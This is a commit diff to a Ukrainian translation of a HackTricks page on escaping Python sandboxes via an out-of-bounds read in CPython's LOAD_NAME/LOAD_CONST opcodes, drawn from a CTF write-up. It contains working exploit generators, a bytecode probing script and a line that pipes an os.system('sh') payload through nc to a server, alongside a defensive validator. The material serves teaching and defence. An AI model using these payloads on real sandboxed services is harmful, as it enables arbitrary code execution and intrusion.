mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/generic-methodologies-and-resources/python/bypass-pytho
This commit is contained in:
parent
8cf738369e
commit
80b1de60d1
@ -6,7 +6,7 @@
|
||||
|
||||
### TL;DR <a href="#tldr-2" id="tldr-2"></a>
|
||||
|
||||
Ми можемо використовувати функцію OOB read в LOAD_NAME / LOAD_CONST opcode, щоб отримати деякий символ у пам'яті. Це означає використання трюку на кшталт `(a, b, c, ... сотні символів ..., __getattribute__) if [] else [].__getattribute__(...)`, щоб отримати символ (такий як ім'я функції), який вам потрібен.
|
||||
Ми можемо використовувати функцію OOB read в LOAD_NAME / LOAD_CONST opcode, щоб отримати деякий символ в пам'яті. Це означає використання трюку на кшталт `(a, b, c, ... сотні символів ..., __getattribute__) if [] else [].__getattribute__(...)`, щоб отримати символ (такий як ім'я функції), який вам потрібен.
|
||||
|
||||
Просто створіть свій експлойт.
|
||||
|
||||
@ -21,11 +21,11 @@ print(eval(code, {'__builtins__': {}}))1234
|
||||
```
|
||||
Ви можете ввести довільний код Python, і він буде скомпільований в [об'єкт коду Python](https://docs.python.org/3/c-api/code.html). Однак `co_consts` та `co_names` цього об'єкта коду будуть замінені на порожній кортеж перед eval цього об'єкта коду.
|
||||
|
||||
Таким чином, всі вирази, що містять константи (наприклад, числа, рядки тощо) або імена (наприклад, змінні, функції), можуть призвести до сегментаційної помилки в кінці.
|
||||
Таким чином, всі вирази, що містять константи (наприклад, числа, рядки тощо) або імена (наприклад, змінні, функції), можуть в кінцевому підсумку викликати сегментаційну помилку.
|
||||
|
||||
### Читання за межами меж <a href="#out-of-bound-read" id="out-of-bound-read"></a>
|
||||
### Out of Bound Read <a href="#out-of-bound-read" id="out-of-bound-read"></a>
|
||||
|
||||
Як виникає сегментаційна помилка?
|
||||
Як відбувається сегментаційна помилка?
|
||||
|
||||
Почнемо з простого прикладу, `[a, b, c]` може бути скомпільовано в наступний байт-код.
|
||||
```
|
||||
@ -35,7 +35,7 @@ print(eval(code, {'__builtins__': {}}))1234
|
||||
6 BUILD_LIST 3
|
||||
8 RETURN_VALUE12345
|
||||
```
|
||||
Але що, якщо `co_names` стане порожнім кортежем? Опкод `LOAD_NAME 2` все ще виконується і намагається прочитати значення з тієї адреси пам'яті, з якої він спочатку повинен бути. Так, це функція читання за межами меж "особливість".
|
||||
Але що, якщо `co_names` стане порожнім кортежем? Опкод `LOAD_NAME 2` все ще виконується і намагається прочитати значення з тієї адреси пам'яті, з якої він спочатку повинен бути. Так, це функція читання за межами межі "out-of-bound read".
|
||||
|
||||
Основна концепція рішення проста. Деякі опкоди в CPython, наприклад `LOAD_NAME` і `LOAD_CONST`, вразливі (?) до OOB читання.
|
||||
|
||||
@ -49,19 +49,19 @@ PUSH(value);
|
||||
FAST_DISPATCH();
|
||||
}1234567
|
||||
```
|
||||
Таким чином, ми можемо використовувати функцію OOB, щоб отримати "ім'я" з довільного зсуву пам'яті. Щоб дізнатися, яке ім'я воно має і який у нього зсув, просто продовжуйте пробувати `LOAD_NAME 0`, `LOAD_NAME 1` ... `LOAD_NAME 99` ... І ви можете знайти щось приблизно при oparg > 700. Ви також можете спробувати використовувати gdb, щоб подивитися на розкладку пам'яті, звичайно, але я не думаю, що це буде легше?
|
||||
Таким чином, ми можемо використовувати функцію OOB, щоб отримати "ім'я" з довільного зсуву пам'яті. Щоб дізнатися, яке ім'я воно має і який у нього зсув, просто продовжуйте пробувати `LOAD_NAME 0`, `LOAD_NAME 1` ... `LOAD_NAME 99` ... І ви можете знайти щось приблизно при oparg > 700. Ви також можете спробувати використовувати gdb, щоб подивитися на розклад пам'яті, звичайно, але я не думаю, що це буде легше?
|
||||
|
||||
### Генерація експлойту <a href="#generating-the-exploit" id="generating-the-exploit"></a>
|
||||
|
||||
Як тільки ми отримаємо ці корисні зсуви для імен / констант, як _отримати_ ім'я / константу з цього зсуву і використовувати його? Ось трюк для вас:\
|
||||
Припустимо, ми можемо отримати ім'я `__getattribute__` з зсуву 5 (`LOAD_NAME 5`) з `co_names=()`, тоді просто зробіть наступні дії:
|
||||
Як тільки ми отримаємо ці корисні зсуви для імен / констант, як _ми_ отримуємо ім'я / константу з цього зсуву і використовуємо його? Ось трюк для вас:\
|
||||
Припустимо, ми можемо отримати `__getattribute__` ім'я з зсуву 5 (`LOAD_NAME 5`) з `co_names=()`, тоді просто зробіть наступні дії:
|
||||
```python
|
||||
[a,b,c,d,e,__getattribute__] if [] else [
|
||||
[].__getattribute__
|
||||
# you can get the __getattribute__ method of list object now!
|
||||
]1234
|
||||
```
|
||||
> Зверніть увагу, що немає необхідності називати його як `__getattribute__`, ви можете назвати його коротше або якось дивно
|
||||
> Зверніть увагу, що немає необхідності називати його як `__getattribute__`, ви можете назвати його коротше або більш дивно
|
||||
|
||||
Ви можете зрозуміти причину, просто переглянувши його байт-код:
|
||||
```python
|
||||
@ -128,7 +128,7 @@ print(f'{n}: {ret}')
|
||||
|
||||
# for i in $(seq 0 10000); do python find.py $i ; done1234567891011121314151617181920212223242526272829303132
|
||||
```
|
||||
А наступне призначене для створення реального експлойту на Python.
|
||||
А наступне призначене для генерації реального експлойту Python.
|
||||
```python
|
||||
import sys
|
||||
import unicodedata
|
||||
@ -205,7 +205,7 @@ print(source)
|
||||
# (python exp.py; echo '__import__("os").system("sh")'; cat -) | nc challenge.server port
|
||||
12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273
|
||||
```
|
||||
В основному, це виконує такі дії, для тих рядків, які ми отримуємо з методу `__dir__`:
|
||||
В основному це робить такі речі, для тих рядків, які ми отримуємо з методу `__dir__`:
|
||||
```python
|
||||
getattr = (None).__getattribute__('__class__').__getattribute__
|
||||
builtins = getattr(
|
||||
@ -218,4 +218,119 @@ getattr(
|
||||
'__repr__').__getattribute__('__globals__')['builtins']
|
||||
builtins['eval'](builtins['input']())
|
||||
```
|
||||
---
|
||||
|
||||
### Примітки до версії та уражені опкоди (Python 3.11–3.13)
|
||||
|
||||
- Опкоди байт-коду CPython все ще індексують кортежі `co_consts` та `co_names` за допомогою цілочисельних операндів. Якщо зловмисник може змусити ці кортежі бути порожніми (або меншими за максимальний індекс, що використовується байт-кодом), інтерпретатор буде читати пам'ять за межами меж для цього індексу, що призведе до отримання довільного вказівника PyObject з сусідньої пам'яті. Відповідні опкоди включають принаймні:
|
||||
- `LOAD_CONST consti` → читає `co_consts[consti]`.
|
||||
- `LOAD_NAME namei`, `STORE_NAME`, `DELETE_NAME`, `LOAD_GLOBAL`, `STORE_GLOBAL`, `IMPORT_NAME`, `IMPORT_FROM`, `LOAD_ATTR`, `STORE_ATTR` → читають імена з `co_names[...]` (для 3.11+ зверніть увагу, що `LOAD_ATTR`/`LOAD_GLOBAL` зберігають біти прапорців у найменшому біті; фактичний індекс - `namei >> 1`). Дивіться документацію дизасемблера для точних семантик за версією. [Python dis docs].
|
||||
- Python 3.11+ впровадив адаптивні/вбудовані кеші, які додають приховані записи `CACHE` між інструкціями. Це не змінює OOB примітив; це лише означає, що якщо ви вручну створюєте байт-код, ви повинні враховувати ці кеш-елементи при побудові `co_code`.
|
||||
|
||||
Практичне значення: техніка на цій сторінці продовжує працювати на CPython 3.11, 3.12 та 3.13, коли ви можете контролювати об'єкт коду (наприклад, через `CodeType.replace(...)`) і зменшити `co_consts`/`co_names`.
|
||||
|
||||
### Швидкий сканер для корисних OOB індексів (сумісний з 3.11+/3.12+)
|
||||
|
||||
Якщо ви віддаєте перевагу перевіряти цікаві об'єкти безпосередньо з байт-коду, а не з високорівневого виходу, ви можете генерувати мінімальні об'єкти коду та методом грубої сили знаходити індекси. Допоміжна функція нижче автоматично вставляє вбудовані кеші, коли це необхідно.
|
||||
```python
|
||||
import dis, types
|
||||
|
||||
def assemble(ops):
|
||||
# ops: list of (opname, arg) pairs
|
||||
cache = bytes([dis.opmap.get("CACHE", 0), 0])
|
||||
out = bytearray()
|
||||
for op, arg in ops:
|
||||
opc = dis.opmap[op]
|
||||
out += bytes([opc, arg])
|
||||
# Python >=3.11 inserts per-opcode inline cache entries
|
||||
ncache = getattr(dis, "_inline_cache_entries", {}).get(opc, 0)
|
||||
out += cache * ncache
|
||||
return bytes(out)
|
||||
|
||||
# Reuse an existing function's code layout to simplify CodeType construction
|
||||
base = (lambda: None).__code__
|
||||
|
||||
# Example: probe co_consts[i] with LOAD_CONST i and return it
|
||||
# co_consts/co_names are intentionally empty so LOAD_* goes OOB
|
||||
|
||||
def probe_const(i):
|
||||
code = assemble([
|
||||
("RESUME", 0), # 3.11+
|
||||
("LOAD_CONST", i),
|
||||
("RETURN_VALUE", 0),
|
||||
])
|
||||
c = base.replace(co_code=code, co_consts=(), co_names=())
|
||||
try:
|
||||
return eval(c)
|
||||
except Exception:
|
||||
return None
|
||||
|
||||
for idx in range(0, 300):
|
||||
obj = probe_const(idx)
|
||||
if obj is not None:
|
||||
print(idx, type(obj), repr(obj)[:80])
|
||||
```
|
||||
Notes
|
||||
- Щоб замість цього перевірити імена, замініть `LOAD_CONST` на `LOAD_NAME`/`LOAD_GLOBAL`/`LOAD_ATTR` і відповідно налаштуйте використання стеку.
|
||||
- Використовуйте `EXTENDED_ARG` або кілька байтів `arg`, щоб досягти індексів >255, якщо це необхідно. Коли ви будуєте з `dis`, як зазначено вище, ви контролюєте лише низький байт; для більших індексів створіть сирі байти самостійно або розділіть атаку на кілька завантажень.
|
||||
|
||||
### Мінімальний шаблон RCE лише з байт-коду (co_consts OOB → builtins → eval/input)
|
||||
|
||||
Якщо ви визначили індекс `co_consts`, який відповідає модулю builtins, ви можете відтворити `eval(input())` без жодних `co_names`, маніпулюючи стеком:
|
||||
```python
|
||||
# Build co_code that:
|
||||
# 1) LOAD_CONST <builtins_idx> → push builtins module
|
||||
# 2) Use stack shuffles and BUILD_TUPLE/UNPACK_EX to peel strings like 'input'/'eval'
|
||||
# out of objects living nearby in memory (e.g., from method tables),
|
||||
# 3) BINARY_SUBSCR to do builtins["input"] / builtins["eval"], CALL each, and RETURN_VALUE
|
||||
# This pattern is the same idea as the high-level exploit above, but expressed in raw bytecode.
|
||||
```
|
||||
Цей підхід корисний у завданнях, які надають вам прямий контроль над `co_code`, одночасно примушуючи `co_consts=()` та `co_names=()` (наприклад, BCTF 2024 “awpcode”). Він уникає трюків на рівні виходу і зберігає розмір корисного навантаження малим, використовуючи операції стеку байт-коду та побудовники кортежів.
|
||||
|
||||
### Захисні перевірки та пом'якшення для пісочниць
|
||||
|
||||
Якщо ви пишете “пісочницю” на Python, яка компілює/оцінює ненадійний код або маніпулює об'єктами коду, не покладайтеся на CPython для перевірки меж індексів кортежів, що використовуються байт-кодом. Натомість, перевіряйте об'єкти коду самостійно перед їх виконанням.
|
||||
|
||||
Практичний валідатор (відхиляє OOB доступ до co_consts/co_names)
|
||||
```python
|
||||
import dis
|
||||
|
||||
def max_name_index(code):
|
||||
max_idx = -1
|
||||
for ins in dis.get_instructions(code):
|
||||
if ins.opname in {"LOAD_NAME","STORE_NAME","DELETE_NAME","IMPORT_NAME",
|
||||
"IMPORT_FROM","STORE_ATTR","LOAD_ATTR","LOAD_GLOBAL","DELETE_GLOBAL"}:
|
||||
namei = ins.arg or 0
|
||||
# 3.11+: LOAD_ATTR/LOAD_GLOBAL encode flags in the low bit
|
||||
if ins.opname in {"LOAD_ATTR","LOAD_GLOBAL"}:
|
||||
namei >>= 1
|
||||
max_idx = max(max_idx, namei)
|
||||
return max_idx
|
||||
|
||||
def max_const_index(code):
|
||||
return max([ins.arg for ins in dis.get_instructions(code)
|
||||
if ins.opname == "LOAD_CONST"] + [-1])
|
||||
|
||||
def validate_code_object(code: type((lambda:0).__code__)):
|
||||
if max_const_index(code) >= len(code.co_consts):
|
||||
raise ValueError("Bytecode refers to const index beyond co_consts length")
|
||||
if max_name_index(code) >= len(code.co_names):
|
||||
raise ValueError("Bytecode refers to name index beyond co_names length")
|
||||
|
||||
# Example use in a sandbox:
|
||||
# src = input(); c = compile(src, '<sandbox>', 'exec')
|
||||
# c = c.replace(co_consts=(), co_names=()) # if you really need this, validate first
|
||||
# validate_code_object(c)
|
||||
# eval(c, {'__builtins__': {}})
|
||||
```
|
||||
Додаткові ідеї для пом'якшення
|
||||
- Не дозволяйте довільний `CodeType.replace(...)` на ненадійних даних, або додайте суворі структурні перевірки на отриманому об'єкті коду.
|
||||
- Розгляньте можливість виконання ненадійного коду в окремому процесі з пісочницею на рівні ОС (seccomp, job objects, containers) замість покладання на семантику CPython.
|
||||
|
||||
|
||||
|
||||
## Посилання
|
||||
|
||||
- Звіт Splitline про HITCON CTF 2022 “V O I D” (походження цієї техніки та високорівнева експлойт-ланцюг): https://blog.splitline.tw/hitcon-ctf-2022/
|
||||
- Документація Python disassembler (семантика індексів для LOAD_CONST/LOAD_NAME/etc., та низькі біти прапорців `LOAD_ATTR`/`LOAD_GLOBAL` для версій 3.11+): https://docs.python.org/3.13/library/dis.html
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user